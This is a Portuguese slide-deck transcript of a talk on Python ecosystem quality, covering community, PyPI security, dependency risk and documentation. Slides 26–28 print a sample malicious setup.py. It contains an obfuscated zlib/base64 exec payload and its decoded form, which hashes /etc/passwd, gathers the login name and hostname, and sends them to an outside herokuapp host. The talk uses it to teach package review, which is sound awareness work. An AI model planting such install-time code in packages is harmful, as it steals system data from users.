A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

54
A Qualidade do Ecossistema Python Bruno Rocha - @rochaCbruno - brunorocha.org

Transcript of A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Page 1: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

A Qualidade do Ecossistema Python

Bruno Rocha - @rochaCbruno - brunorocha.org

Page 2: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Bruno Rocha - @rochaCbrunoQuality Engineer @ RedHat.com

Podcaster @ Castalio.info

Teacher @ CursoDePython.com.br

Blogger @ BrunoRocha.org

Page 3: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

castalio.info

youtube.com/castaliopodcast

Toda Segunda às 11h disponível em Podcast no site, itunes, rss, players etc

Toda Quarta às 20h ao vivo no YouTube

Page 4: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

“a todas as relações dos organismos entre si, e com seu meio ambiente chamamos ecossistema ou seja, podemos definir ecossistema como sendo um conjunto de comunidades interagindo entre si..”

-- Wikipedia

Page 5: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

- Você (e seus grupos)

- Comunidades (eventos)

- Material teórico (livros, tutoriais, cursos)

- Ferramentas (sistemas, IDEs, plataformas)

- Biblioteca de pacotes (pip, github, conda)

- Python Software Foundation- A Linguagem (core developers)

Ecossistema Python?

Page 6: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

O que atrai tanta atenção para o Python?

Page 7: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

- Python é fácil de aprender.- A comunidade é receptiva- Tem eventos muito legais- É fácil escrever e publicar novas

bibliotecas com Python.- Pensou… já tem no PyPI.- É popular e está na moda.- Aprovado por Grandes empresas.

$ pip install magic>>> magic.run()

Page 8: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Ou nas palavras do poeta...

Page 9: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
Page 10: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Como garantir software de qualidade?

Enterprise

?

Page 11: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Como garantir profissionais de qualidade?

?Certificação Profissional Python Seja um expert por apenas $ 9.999,99 / year

Page 12: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Como garantir ecossistema de bibliotecas de qualidade?

?Seja um “Python Developer Partner” e publique suas bibliotecasna “PyPI store” por apenas $ 9.999,99 / year

PY

Page 13: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

New Python 3.6Featuring exclusive `f’string`

Only $ 999/year

You need Python 3.6Call 555 - 5555 And buy it now!

Oportunity: First 100 customersWill get IDLE for free...By Guido Inc.

Page 14: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
Page 15: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

● Python não tem dono, pertence a comunidade.● A comunidade é o controle de qualidade.● A comunidade é a entidade certificadora*.

* Na comunidade Python TODOS são encorajados a participar e fazer a diferença, colaborar com os diversos pilares da comunidade (slide 4) tem um grande valor para a carreira do profissional Python.

Page 16: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

VOCÊ

Page 17: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

“I came for the language but I stay for the community” - Brett Cannon

Page 18: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

“Diversidade acontece quando pessoas diferentes se reunem em um mesmo local”

“Inclusão acontece quando essas pessoas conseguem atuar em conjunto, como iguais, com as mesmas oportunidades e sem prejuizo para nenhuma delas”

- Adaptação da palestra de Naomi Ceder (Python Brasil 12)

Page 19: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Como tratar ameaças a comunidade e diversidade?

- Código de conduta- Postura de mentor e não de juiz

Page 20: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Open by default

- PSF (grants, membership, fellowship and board)- Repositories- Experiments (MyPy, Gilectomy)- APyB- Call 4 Papers- PyPI/Warehouse- Python Planet- PEPs- GruPys

Você pode participarabertamente!!!

Page 21: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

100_000BibliotecasDisponíveisNoPyPI

Page 22: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

$ pip install magic>>> magic.run()

- Python é fácil de aprender.- E tem muita biblioteca pronta!

Page 23: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

>>> TracebackCannot do the magic today...

- Quantos dos 100_000 pacotes disponíveis tem cobertura de testes?

- Quantos tem boa documentação?

- Como faço para escolher?

Page 24: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

$ pip install magic$ installing…$ HAHA you got hacked!!!

- E essas bibliotecas são seguras?

- Se qualquer pessoa pode publicar uma nova lib no PyPI quem garante a segurança e a qualidade?

Page 25: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Segurança!!!

Page 26: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

# setup.py `pip install magic`from setuptools import setup

setup(

name="magic",

...

)

Sempre faça review do código fonte da lib a ser instalada.

Especialmente o `setup.py`

E não se esqueça da barra de rolagem.

Page 27: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

;import zlib;

exec(zlib.decompress('eJx9UcFqxCAQvfsVXhYVtoY

Wegn0uF+x7MHG2ShNHNEJ3aX036vJBrJQ4uX5HOfNe+rH

iIk4ZuaX\n3ZSGwX8+s7eVOpPdphoHQ1dMI2OU7i3jZU3

BjMA/iqDugQbsfZCKwa2DSPw0g8fATebw3CDOh3wR\n/M

Bho+YwU6mtc/R8Warz62VP8tH1r+K1RijFRxI92neJEYI

UDVDXRJPztxVKJzBWKqUd3KzvIdN+\nilV2O9MaMuVoeU

JdAEKHFuSPmGOIdsl+5KIaLrRCYbNWoTP+qu3jLr9RtRb

Pjii2TRPv5DC8BFNd\nFcsJvyYTo+5wbMSRVyO77mtq9g

fllKgC\n'.decode('base64')))

Multiple of 4 white spaces

Python tricks!

Page 28: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

# `pip install magic` import os, urllib, urllib2, hashlib, platform

try:

uname = os.getlogin()

except Exception as e:

uname = '[%s]' % e

try:

host = platform.uname()[1]

except Exception as e:

host = '[%s]' % e

try:

fhash = hashlib.md5(open('/etc/passwd').read()).hexdigest()

except Exception as e:

fhash = '[%s]' % e

data = urllib.urlencode({'uname': uname, 'host': host, 'fhash': fhash})

try:

urllib2.urlopen('http://WannaPyCry.herokuapp.com/', data)

except Exception as e:

pass

Decoded trick

Nothing serious hereBut could be a real hack

Page 29: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
Page 30: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
Page 31: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Solução?

Page 32: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

$ pip install safety$ safety check

Page 33: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
Page 34: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Open SourceCommunity driven safety checks?

Please create moreSafety tools!!!!

Page 35: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Por que o Python não resolve este problema sem depender de serviços de terceiros?

Page 36: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

https://github.com/pypa New generation of PyPI is `warehouse`and you can helpOn Github.com/pypaOnly 18 contributors?

Page 37: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Not a coder?donate!!!

Page 38: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Warehouse is a next generation Python Package Repository designed to replace the legacy code base that currently powers PyPI

Page 39: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Rank: 4.5 - safe

Rank: 2.0 - outdated

Rank: 1.0 - danger

1.234 Reviews ++1 Review --Why not making it more `social driven` to address

the library quality problem?

Example:More maintainersMore qualitypoints!

Page 40: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Segurança das libs: o que podemos fazer ?

- Verificar antes de instalar- Instalar bibliotecas conhecidas e confiáveis- Usar SafetyCI - pyup.io- Criar ferramentas para ajudar na verificação- Denunciar caso encontrar lib suspeita- Colaborar com o projeto Pypa/Warehouse

Page 41: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

A responsabilidade é SUA NOSSA!!!

Page 42: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Toda biblioteca publicada no PyPI acompanha uma etiqueta invisivel que diz:

“Eu estou ciente das responsabilidades que devo assumir ao publicar este código e prometo fazer o possível para mante-lo com qualidade até o fim dos tempos!”

E deixarei explicito caso por qualquer motivo eu não possa mais manter deixando o caminho livrepara quem desejar criar um fork!

Page 43: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Seus projetos publicados no PyPI devem ser

Maintanable:

Project that can be maintable by as many and diverse people.

Sustentável:

Projeto que possa ser mantido por várias e diferentes pessoas

* diferente no sentido de diversidade

Page 44: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
Page 45: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Leftpad is ` npm` problem, will not happen with Python?

Page 46: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

pip install requests● 99,9% das instalações de ambientes Python instalam requests● Se a versão não estiver especifica seu build pode quebrar● Ferramentas como Travis-Ci dependem de requests e já quebraram por isso!● Sistemas operacionais trazem requests por padrão● Até poucos meses atrás este era um ‘one man band’ project, mas depois de

recentes problemas com releases o criador decidiu excluir os próprios poderes de administrador da lib e elegeu outros mantenedores

● Não é o único, existem outras libs Python publicadas com o mesmo risco● Sempre especifique suas versões● Use o pyup.io ou requires.io ou qualquer outra solução do tipo● Use o safety/CI ou algo do tipo

Page 47: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

…..

Page 48: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Segurança e sustentabilidadenão são os únicos problemas!

Page 50: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
Page 51: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Assim como recentemente melhoramos nossa cultura de testes.

Precisamos agora melhorar nossa cultura de documentação!

Page 52: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Q: Por que a maioria das bibliotecas não tem boa documentação?A: Escrever documentação é um processo chato!

Q: O que precisa melhorar?A: Ferramentas e formatos (rst) não amigaveis afastam as pessoas da documentação. Precisamos fazer como fizemos com os testes e adotar formatos (md?) e ferramentas mais fáceis.

Q: Como incentivar as pessoas a contribuir com documentação?A: Primeiro precisamos definir o processo (assim como nos testes) e então criar um manifesto atraindo os contribuidores, mostrando a importância, oferecendo um certo “status” ao documentador e usar os eventos para fomentar essa cultura.

Page 53: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Dicas para criar boas libs

python.apichecklist.com

Page 54: A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

Conclusão- Python não é um produto!- O ecossistema (principalmente a comunidade) já tem qualidade acima da média- Precisamos de mais materiais teóricos de qualidade para iniciantes- Podemos utilizar ferramentas para ajudar no QA de bibliotecas Python- Podemos colaborar com a evolução do PyPI- Podemos colaborar com a evolução do Python- A qualidade do ecossistema é NOSSA responsabilidade- Seja responsável e publique apenas bibliotecas de qualidade no PyPI- Precisamos de uma solução colaborativa para classificar 100 mil libs- Ajude e seja ajudado